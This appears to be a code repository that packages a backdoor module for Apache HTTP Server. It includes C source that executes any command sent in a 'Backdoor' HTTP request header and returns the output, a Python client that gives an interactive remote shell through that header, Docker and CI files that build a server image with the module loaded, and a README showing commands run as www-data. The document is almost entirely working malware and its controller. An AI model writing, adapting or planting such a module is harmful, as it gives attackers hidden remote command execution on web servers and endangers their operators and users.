├── docker-compose.yaml ├── mod_backdoor.o ├── modules.mk ├── Dockerfile ├── exploit.py ├── .gitignore ├── Makefile ├── .github └── workflows │ └── docker.yaml ├── mod_backdoor.c └── README.md /docker-compose.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | httpd: 3 | build: . 4 | ports: 5 | - "4444:80" -------------------------------------------------------------------------------- /mod_backdoor.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangYihang/Apache-HTTP-Server-Module-Backdoor/HEAD/mod_backdoor.o -------------------------------------------------------------------------------- /modules.mk: -------------------------------------------------------------------------------- 1 | mod_backdoor.la: mod_backdoor.slo 2 | $(SH_LINK) -rpath $(libexecdir) -module -avoid-version mod_backdoor.lo 3 | DISTCLEAN_TARGETS = modules.mk 4 | shared = mod_backdoor.la -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM httpd:2.4 AS builder 2 | RUN apt update \ 3 | && apt install -y apache2-dev \ 4 | && rm -rf /var/lib/apt/lists/* 5 | WORKDIR /app 6 | COPY . . 7 | RUN apxs -i -a -c mod_backdoor.c 8 | 9 | FROM httpd:2.4 10 | COPY --from=builder /usr/local/apache2/modules/mod_backdoor.so /usr/local/apache2/modules/mod_backdoor.so 11 | RUN echo "LoadModule backdoor_module /usr/local/apache2/modules/mod_backdoor.so" >> /usr/local/apache2/conf/httpd.conf 12 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | 4 | 5 | def exploit(host, port, command): 6 | headers = {"Backdoor": command} 7 | url = f"http://{host}:{port}/" 8 | response = requests.get(url, headers=headers) 9 | text = response.text 10 | print(text) 11 | 12 | 13 | def main(): 14 | if len(sys.argv) != 3: 15 | print("Usage : ") 16 | print("\tpython %s [HOST] [PORT]" % (sys.argv[0])) 17 | exit(1) 18 | host = sys.argv[1] 19 | port = int(sys.argv[2]) 20 | while True: 21 | command = input("$ ") 22 | if command == "exit": 23 | break 24 | exploit(host, port, command) 25 | 26 | 27 | if __name__ == "__main__": 28 | main() 29 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | 54 | # Apache HTTPd 55 | .libs/* 56 | *.la 57 | *.lo 58 | *.slo 59 | 60 | # Visual Studio Code 61 | .vscode/ -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | ## 2 | ## Makefile -- Build procedure for sample backdoor Apache module 3 | ## Autogenerated via ``apxs -n backdoor -g''. 4 | ## 5 | 6 | builddir=. 7 | top_srcdir=/usr/share/apache2 8 | top_builddir=/usr/share/apache2 9 | include /usr/share/apache2/build/special.mk 10 | 11 | # the used tools 12 | APACHECTL=apachectl 13 | 14 | # additional defines, includes and libraries 15 | #DEFS=-Dmy_define=my_value 16 | #INCLUDES=-Imy/include/dir 17 | #LIBS=-Lmy/lib/dir -lmylib 18 | 19 | # the default target 20 | all: local-shared-build 21 | 22 | # install the shared object file into Apache 23 | install: install-modules-yes 24 | 25 | # cleanup 26 | clean: 27 | -rm -f mod_backdoor.o mod_backdoor.lo mod_backdoor.slo mod_backdoor.la 28 | 29 | # simple test 30 | test: reload 31 | lynx -mime_header http://localhost/backdoor 32 | 33 | # install and activate shared object by reloading Apache to 34 | # force a reload of the shared object file 35 | reload: install restart 36 | 37 | # the general Apache start/restart/stop 38 | # procedures 39 | start: 40 | $(APACHECTL) start 41 | restart: 42 | $(APACHECTL) restart 43 | stop: 44 | $(APACHECTL) stop 45 | -------------------------------------------------------------------------------- /.github/workflows/docker.yaml: -------------------------------------------------------------------------------- 1 | name: Create and publish a Docker image 2 | 3 | # Configures this workflow to run every time a change is pushed to the branch called `release`. 4 | on: 5 | push: 6 | 7 | # Defines two custom environment variables for the workflow. These are used for the Container registry domain, and a name for the Docker image that this workflow builds. 8 | env: 9 | REGISTRY: ghcr.io 10 | IMAGE_NAME: ${{ github.repository }} 11 | 12 | # There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu. 13 | jobs: 14 | build-and-push-image: 15 | runs-on: ubuntu-latest 16 | # Sets the permissions granted to the `GITHUB_TOKEN` for the actions in this job. 17 | permissions: 18 | contents: read 19 | packages: write 20 | # 21 | steps: 22 | - name: Checkout repository 23 | uses: actions/checkout@v4 24 | # Uses the `docker/login-action` action to log in to the Container registry registry using the account and password that will publish the packages. Once published, the packages are scoped to the account defined here. 25 | - name: Log in to the Container registry 26 | uses: docker/login-action@v3 27 | with: 28 | registry: ${{ env.REGISTRY }} 29 | username: ${{ github.actor }} 30 | password: ${{ secrets.GITHUB_TOKEN }} 31 | # This step uses [docker/metadata-action](https://github.com/docker/metadata-action#about) to extract tags and labels that will be applied to the specified image. The `id` "meta" allows the output of this step to be referenced in a subsequent step. The `images` value provides the base name for the tags and labels. 32 | - name: Extract metadata (tags, labels) for Docker 33 | id: meta 34 | uses: docker/metadata-action@v5 35 | with: 36 | images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} 37 | # This step uses the `docker/build-push-action` action to build the image, based on your repository's `Dockerfile`. If the build succeeds, it pushes the image to GitHub Packages. 38 | # It uses the `context` parameter to define the build's context as the set of files located in the specified path. For more information, see "[Usage](https://github.com/docker/build-push-action#usage)" in the README of the `docker/build-push-action` repository. 39 | # It uses the `tags` and `labels` parameters to tag and label the image with the output from the "meta" step. 40 | - name: Build and push Docker image 41 | uses: docker/build-push-action@v5 42 | with: 43 | context: . 44 | push: true 45 | tags: ${{ steps.meta.outputs.tags }} 46 | labels: ${{ steps.meta.outputs.labels }} -------------------------------------------------------------------------------- /mod_backdoor.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** mod_backdoor.c -- Apache sample backdoor module 3 | ** [Autogenerated via ``apxs -n backdoor -g''] 4 | ** 5 | ** To play with this sample module first compile it into a 6 | ** DSO file and install it into Apache's modules directory 7 | ** by running: 8 | ** 9 | ** $ apxs -c -i mod_backdoor.c 10 | ** 11 | ** Then activate it in Apache's apache2.conf file for instance 12 | ** for the URL /backdoor in as follows: 13 | ** 14 | ** # apache2.conf 15 | ** LoadModule backdoor_module modules/mod_backdoor.so 16 | ** 17 | ** SetHandler backdoor 18 | ** 19 | ** 20 | ** Then after restarting Apache via 21 | ** 22 | ** $ apachectl restart 23 | ** 24 | ** you immediately can request the URL /backdoor and watch for the 25 | ** output of this module. This can be achieved for instance via: 26 | ** 27 | ** $ lynx -mime_header http://localhost/backdoor 28 | ** 29 | ** The output should be similar to the following one: 30 | ** 31 | ** HTTP/1.1 200 OK 32 | ** Date: Tue, 31 Mar 1998 14:42:22 GMT 33 | ** Server: Apache/1.3.4 (Unix) 34 | ** Connection: close 35 | ** Content-Type: text/html 36 | ** 37 | ** The sample page from mod_backdoor.c 38 | */ 39 | 40 | #include "httpd.h" 41 | #include "http_config.h" 42 | #include "http_protocol.h" 43 | #include "ap_config.h" 44 | #include 45 | #include 46 | 47 | /* The sample content handler */ 48 | static int backdoor_handler(request_rec *r) 49 | { 50 | /* 51 | if (strcmp(r->handler, "backdoor")) { 52 | return DECLINED; 53 | } 54 | r->content_type = "text/html"; 55 | 56 | if (!r->header_only) 57 | ap_rputs("The sample page from mod_backdoor.c\n", r); 58 | */ 59 | /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ 60 | const apr_array_header_t *fields; 61 | int i; 62 | apr_table_entry_t *e = 0; 63 | char FLAG = 0; 64 | /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ 65 | 66 | fields = apr_table_elts(r->headers_in); 67 | e = (apr_table_entry_t *) fields->elts; 68 | 69 | for(i = 0; i < fields->nelts; i++) { 70 | if(strcmp(e[i].key, "Backdoor") == 0){ 71 | FLAG = 1; 72 | break; 73 | } 74 | } 75 | 76 | if (FLAG){ 77 | char * command = e[i].val; 78 | FILE* fp = popen(command,"r"); 79 | char buffer[0x100] = {0}; 80 | int counter = 1; 81 | while(counter){ 82 | counter = fread(buffer, 1, sizeof(buffer), fp); 83 | ap_rwrite(buffer, counter, r); 84 | } 85 | pclose(fp); 86 | return DONE; 87 | } 88 | return DECLINED; 89 | } 90 | 91 | static void backdoor_register_hooks(apr_pool_t *p) 92 | { 93 | ap_hook_handler(backdoor_handler, NULL, NULL, APR_HOOK_MIDDLE); 94 | } 95 | 96 | /* Dispatch list for API hooks */ 97 | module AP_MODULE_DECLARE_DATA backdoor_module = { 98 | STANDARD20_MODULE_STUFF, 99 | NULL, /* create per-dir config structures */ 100 | NULL, /* merge per-dir config structures */ 101 | NULL, /* create per-server config structures */ 102 | NULL, /* merge per-server config structures */ 103 | NULL, /* table of config file commands */ 104 | backdoor_register_hooks /* register hooks */ 105 | }; 106 | 107 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Backdoor for Apache HTTP Server 2 | 3 | ## Getting Started 4 | 5 | Starting the exploited demo server in Docker 6 | 7 | ```bash 8 | docker run \ 9 | --rm \ 10 | --interactive \ 11 | --detach \ 12 | --tty \ 13 | -p \ 14 | 4444:80 \ 15 | ghcr.io/wangyihang/apache-http-server-module-backdoor:master 16 | ``` 17 | 18 | Run the exploit script 19 | 20 | ```bash 21 | python exploit.py 127.0.0.1 4444 22 | ``` 23 | 24 | Example: 25 | ``` 26 | root@kali:~/backdoor# apxs -i -a -c mod_backdoor.c && service apache2 restart 27 | /usr/share/apr-1.0/build/libtool --mode=compile --tag=disable-static x86_64-linux-gnu-gcc -prefer-pic -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c -o mod_backdoor.lo mod_backdoor.c && touch mod_backdoor.slo 28 | libtool: compile: x86_64-linux-gnu-gcc -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c mod_backdoor.c -fPIC -DPIC -o .libs/mod_backdoor.o 29 | /usr/share/apr-1.0/build/libtool --mode=link --tag=disable-static x86_64-linux-gnu-gcc -Wl,--as-needed -Wl,-z,relro -Wl,-z,now -o mod_backdoor.la -rpath /usr/lib/apache2/modules -module -avoid-version mod_backdoor.lo 30 | libtool: link: rm -fr .libs/mod_backdoor.la .libs/mod_backdoor.lai .libs/mod_backdoor.so 31 | libtool: link: x86_64-linux-gnu-gcc -shared -fPIC -DPIC .libs/mod_backdoor.o -Wl,--as-needed -Wl,-z -Wl,relro -Wl,-z -Wl,now -Wl,-soname -Wl,mod_backdoor.so -o .libs/mod_backdoor.so 32 | libtool: link: ( cd ".libs" && rm -f "mod_backdoor.la" && ln -s "../mod_backdoor.la" "mod_backdoor.la" ) 33 | /usr/share/apache2/build/instdso.sh SH_LIBTOOL='/usr/share/apr-1.0/build/libtool' mod_backdoor.la /usr/lib/apache2/modules 34 | /usr/share/apr-1.0/build/libtool --mode=install install mod_backdoor.la /usr/lib/apache2/modules/ 35 | libtool: install: install .libs/mod_backdoor.so /usr/lib/apache2/modules/mod_backdoor.so 36 | libtool: install: install .libs/mod_backdoor.lai /usr/lib/apache2/modules/mod_backdoor.la 37 | libtool: finish: PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sbin" ldconfig -n /usr/lib/apache2/modules 38 | ---------------------------------------------------------------------- 39 | Libraries have been installed in: 40 | /usr/lib/apache2/modules 41 | 42 | If you ever happen to want to link against installed libraries 43 | in a given directory, LIBDIR, you must either use libtool, and 44 | specify the full pathname of the library, or use the '-LLIBDIR' 45 | flag during linking and do at least one of the following: 46 | - add LIBDIR to the 'LD_LIBRARY_PATH' environment variable 47 | during execution 48 | - add LIBDIR to the 'LD_RUN_PATH' environment variable 49 | during linking 50 | - use the '-Wl,-rpath -Wl,LIBDIR' linker flag 51 | - have your system administrator add LIBDIR to '/etc/ld.so.conf' 52 | 53 | See any operating system documentation about shared libraries for 54 | more information, such as the ld(1) and ld.so(8) manual pages. 55 | ---------------------------------------------------------------------- 56 | chmod 644 /usr/lib/apache2/modules/mod_backdoor.so 57 | [preparing module `backdoor' in /etc/apache2/mods-available/backdoor.load] 58 | Module backdoor already enabled 59 | root@kali:~/backdoor# python exploit.py 127.0.0.1 80 60 | $ whoami 61 | www-data 62 | 63 | $ uname -a 64 | Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.10-1kali2 (2017-11-08) x86_64 GNU/Linux 65 | 66 | $ exit 67 | 68 | ``` 69 | 70 | License 71 | ``` 72 | THE DRINKWARE LICENSE 73 | 74 | wrote this file. As long as 75 | you retain this notice you can do whatever you want 76 | with this stuff. If we meet some day, and you think 77 | this stuff is worth it, you can buy me the following 78 | drink(s) in return. 79 | 80 | Red Bull 81 | JDB 82 | Coffee 83 | Sprite 84 | Cola 85 | Harbin Beer 86 | etc 87 | ``` 88 | --------------------------------------------------------------------------------